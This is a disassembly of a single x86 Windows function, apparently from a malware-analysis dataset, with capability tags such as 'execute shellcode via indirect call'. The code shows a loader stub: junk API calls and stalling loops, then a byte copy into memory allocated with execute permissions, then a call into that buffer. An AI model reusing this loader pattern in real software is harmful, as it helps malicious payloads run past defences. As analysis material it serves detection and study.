Function at 0x404440
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40446a
inc esi
cmp esi, 0x73f04bd
jl 0x404456
cmp dword [0x489e24], 0x400
jne 0x4044b5
push ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
push ebx
call fcn.00404a46
push ebx
push ebx
call fcn.00404cbe
add esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404b90
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404ce0
fstp st(0)
add esp, 8
cmp dword [0x489e24], 0x93
jne 0x404504
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.00404bc0
add esp, 4
push ebx
push ebx
call fcn.00404bef
add esp, 8
call fcn.00404430
push ebx
call fcn.00404dfa
add esp, 4
mov eax, dword [0x489e24]
mov ecx, dword [0x484fa4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x48ac60], ecx
mov dword [0x489e24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4898b4], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404538
cmp dword [0x489e24], ebx
jbe 0x4045a7
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
jmp 0x404560
mov edx, dword [0x48ac60]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4898b4]
mov byte [ecx + esi], al
cmp dword [0x489e24], 0x490
jne 0x40459e
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call edi
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call ebx
inc esi
cmp esi, dword [0x489e24]
jb 0x404560
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov edx, dword [0x489e24]
add edx, esi
cmp edx, 0x8d
jne 0x4045ea
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4045b5
call fcn.00404300
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x40460c
call ebx
cmp esi, 0x207142
jg 0x40461d
inc esi
cmp esi, 0x67d12
jl 0x404602
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40463e
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x4898b4], edx
inc esi
cmp esi, 0x674bd
jl 0x404620
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov dword [ebp - 4], 0x7b
cmp dword [0x489e24], 0x86
jne 0x404696
push 0
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x403f50
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x489e24], 0xf
jne 0x4046ab
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404660
call fcn.00404050
call dword [0x4898b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret